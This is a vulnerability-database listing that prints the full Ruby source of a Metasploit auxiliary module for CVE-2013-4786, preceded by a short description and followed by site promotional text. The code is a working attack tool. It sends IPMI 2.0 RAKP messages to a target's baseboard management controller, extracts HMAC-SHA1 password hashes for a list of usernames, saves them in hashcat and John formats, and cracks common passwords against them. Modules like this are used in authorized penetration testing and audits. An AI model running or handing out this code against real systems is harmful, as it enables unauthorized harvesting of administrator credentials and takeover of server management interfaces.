Lucene search
K

IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval

🗓️ 24 Jun 2013 19:23:53Reported by Dan Farmer <[email protected]>, hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 260 Views

IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval module. Identifies and retrieves HMAC-SHA1 password hashes of default usernames from IPMI 2.0-compatible systems. Hashes can be stored in a file to be cracked using hmac_sha1_crack.rb or hashcat

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'        => 'IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval',
      'Description' => %q|
        This module identifies IPMI 2.0-compatible systems and attempts to retrieve the
        HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a
        file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb
        in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.
        |,
      'Author'      => [ 'Dan Farmer <zen[at]fish2.com>', 'hdm' ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html'],
          ['URL', 'https://seclists.org/bugtraq/2014/Apr/16'], # HP's SSRT101367
          ['CVE', '2013-4786'],
          ['OSVDB', '95057'],
          ['BID', '61076'],
        ],
      'DisclosureDate' => 'Jun 20 2013'
    )

    register_options(
    [
      Opt::RPORT(623),
      OptPath.new('USER_FILE', [ true, "File containing usernames, one per line",
        File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_users.txt')
      ]),
      OptPath.new('PASS_FILE', [ true, "File containing common passwords for offline cracking, one per line",
        File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_passwords.txt')
      ]),
      OptString.new('OUTPUT_HASHCAT_FILE', [false, "Save captured password hashes in hashcat format"]),
      OptString.new('OUTPUT_JOHN_FILE', [false, "Save captured password hashes in john the ripper format"]),
      OptBool.new('CRACK_COMMON', [true, "Automatically crack common passwords as they are obtained", true]),
      OptInt.new('SESSION_RETRY_DELAY', [true, "Delay between session retries in seconds", 5]),
      OptInt.new('SESSION_MAX_ATTEMPTS', [true, "Maximum number of session retries, required on certain BMCs (HP iLO 4, etc)", 5])
    ])

  end

  def post_auth?
    true
  end

  def ipmi_status(msg)
    vprint_status("#{rhost}:#{rport} - IPMI - #{msg}")
  end

  def ipmi_error(msg)
    vprint_error("#{rhost}:#{rport} - IPMI - #{msg}")
  end

  def ipmi_good(msg)
    print_good("#{rhost}:#{rport} - IPMI - #{msg}")
  end

  def run_host(ip)

    ipmi_status("Sending IPMI probes")

    usernames = []
    passwords = []

    # Load up our username list (save on open fds)
    ::File.open(datastore['USER_FILE'], "rb") do |fd|
      fd.each_line do |line|
        usernames << line.strip
      end
    end
    usernames << ""
    usernames = usernames.uniq

    # Load up our password list (save on open fds)
    ::File.open(datastore['PASS_FILE'], "rb") do |fd|
      fd.each_line do |line|
        passwords << line.gsub(/\r?\n?/, '')
      end
    end
    passwords << ""
    passwords = passwords.uniq

    delay_value = datastore['SESSION_RETRY_DELAY'].to_i
    max_session_attempts = datastore['SESSION_MAX_ATTEMPTS'].to_i

    self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}})
    add_socket(self.udp_sock)

    reported_vuln = false
    session_succeeded = false

    usernames.each do |username|
      console_session_id = Rex::Text.rand_text(4)
      console_random_id  = Rex::Text.rand_text(16)

      ipmi_status("Trying username '#{username}'...")

      rakp = nil
      sess = nil
      sess_data = nil

      # It may take multiple tries to get a working "session" on certain BMCs (HP iLO 4, etc)
      1.upto(max_session_attempts) do |attempt|

        r = nil
        1.upto(3) do
          udp_send(Rex::Proto::IPMI::Utils.create_ipmi_session_open_request(console_session_id))
          r = udp_recv(5.0)
          break if r
        end

        unless r
          ipmi_status("No response to IPMI open session request")
          rakp = nil
          break
        end

        sess = process_opensession_reply(*r)
        unless sess
          ipmi_status("Could not understand the response to the open session request")
          rakp = nil
          break
        end

        if sess.data.length < 8
          ipmi_status("Refused IPMI open session request, waiting #{delay_value} seconds")
          rakp = nil
          sleep(delay_value) if session_succeeded
          next # break
        end

        session_succeeded = true

        sess_data = Rex::Proto::IPMI::Session_Data.new.read(sess.data)

        r = nil
        1.upto(3) do
          udp_send(Rex::Proto::IPMI::Utils.create_ipmi_rakp_1(sess_data.bmc_session_id, console_random_id, username))
          r = udp_recv(5.0)
          break if r
        end

        unless r
          ipmi_status("No response to RAKP1 message")
          next
        end

        rakp = process_rakp1_reply(*r)
        unless rakp
          ipmi_status("Could not understand the response to the RAKP1 request")
          rakp = nil
          break
        end

        # Sleep and retry on session ID errors
        if rakp.error_code == 2
          ipmi_error("Returned a Session ID error for username #{username} on attempt #{attempt}")
          Rex.sleep(1)
          next
        end

        if rakp.error_code != 0
          ipmi_error("Returned error code #{rakp.error_code} for username #{username}: #{Rex::Proto::IPMI::RMCP_ERRORS[rakp.error_code].to_s}")
          rakp = nil
          break
        end

        # TODO: Finish documenting this error field
        if rakp.ignored1 != 0
          ipmi_error("Returned error code #{rakp.ignored1} for username #{username}")
          rakp = nil
          break
        end

        # Check if there is hash data
        if rakp.data.length < 56
          rakp = nil
          break
        end

        # Break out of the session retry code if we make it here
        break
      end

      # Skip to the next user if we didnt get a valid response
      next if !rakp

      # Calculate the salt used in the hmac-sha1 hash
      rakp_data = Rex::Proto::IPMI::RAKP2_Data.new.read(rakp.data)
      hmac_buffer = Rex::Proto::IPMI::Utils.create_rakp_hmac_sha1_salt(
        console_session_id,
        sess_data.bmc_session_id,
        console_random_id,
        rakp_data.bmc_random_id,
        rakp_data.bmc_guid,
        0x14,
        username
      )

      sha1_salt = hmac_buffer.unpack("H*")[0]
      sha1_hash = rakp_data.hmac_sha1.unpack("H*")[0]

      if sha1_hash == "0000000000000000000000000000000000000000"
        ipmi_error("Returned a bogus SHA1 hash for username #{username}")
        next
      end

      ipmi_good("Hash found: #{username}:#{sha1_salt}:#{sha1_hash}")

      write_output_files(rhost, username, sha1_salt, sha1_hash)

      # Write the rakp hash to the database
      hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}"
      core_id = report_hash(username, hash)
      # Write the vulnerability to the database
      unless reported_vuln
        report_vuln(
          :host  => rhost,
          :port  => rport,
          :proto => 'udp',
          :sname => 'ipmi',
          :name  => 'IPMI 2.0 RMCP+ Authentication Password Hash Exposure',
          :info  => "Obtained password hash for user #{username}: #{sha1_salt}:#{sha1_hash}",
          :refs  => self.references
        )
        reported_vuln = true
      end

      # Offline crack common passwords and report clear-text credentials
      next unless datastore['CRACK_COMMON']

      passwords.uniq.each do |pass|
        pass = pass.strip
        next unless pass.length > 0
        next unless Rex::Proto::IPMI::Utils.verify_rakp_hmac_sha1(hmac_buffer, rakp_data.hmac_sha1, pass)
        ipmi_good("Hash for user '#{username}' matches password '#{pass}'")

        # Report the clear-text credential to the database
        report_cracked_cred(username, pass, core_id)
        break
      end
    end
  end

  def process_opensession_reply(data, shost, sport)
    shost = shost.sub(/^::ffff:/, '')
    info = Rex::Proto::IPMI::Open_Session_Reply.new.read(data) rescue nil
    return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RMCPPLUSOPEN_REP
    info
  end

  def process_rakp1_reply(data, shost, sport)
    shost = shost.sub(/^::ffff:/, '')
    info = Rex::Proto::IPMI::RAKP2.new.read(data) rescue nil
    return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RAKP2
    info
  end


  def write_output_files(rhost, username, sha1_salt, sha1_hash)
    if datastore['OUTPUT_HASHCAT_FILE']
      ::File.open(datastore['OUTPUT_HASHCAT_FILE'], "ab") do |fd|
        fd.write("#{rhost} #{username}:#{sha1_salt}:#{sha1_hash}\n")
        fd.flush
      end
    end

    if datastore['OUTPUT_JOHN_FILE']
      ::File.open(datastore['OUTPUT_JOHN_FILE'], "ab") do |fd|
        fd.write("#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}\n")
        fd.flush
      end
    end
  end

  def service_data
    {
      address: rhost,
      port: rport,
      service_name: 'ipmi',
      protocol: 'udp',
      workspace_id: myworkspace_id
    }
  end

  def report_hash(user, hash)
    credential_data = {
      module_fullname: self.fullname,
      origin_type: :service,
      private_data: hash,
      private_type: :nonreplayable_hash,
      jtr_format: 'rakp',
      username: user,
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    cl = create_credential_login(login_data)
    cl ? cl.core_id : nil
  end

  def report_cracked_cred(user, password, core_id)
    cred_data = {
      core_id: core_id,
      username: user,
      password: password
    }

    create_cracked_credential(cred_data)
  end

  #
  # Helper methods (these didn't quite fit with existing mixins)
  #

  attr_accessor :udp_sock

  def udp_send(data)
    begin
      udp_sock.sendto(data, rhost, datastore['RPORT'], 0)
    rescue ::Interrupt
      raise $!
    rescue ::Exception
    end
  end

  def udp_recv(timeo)
    r = udp_sock.recvfrom(65535, timeo)
    r[1] ? r : nil
  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation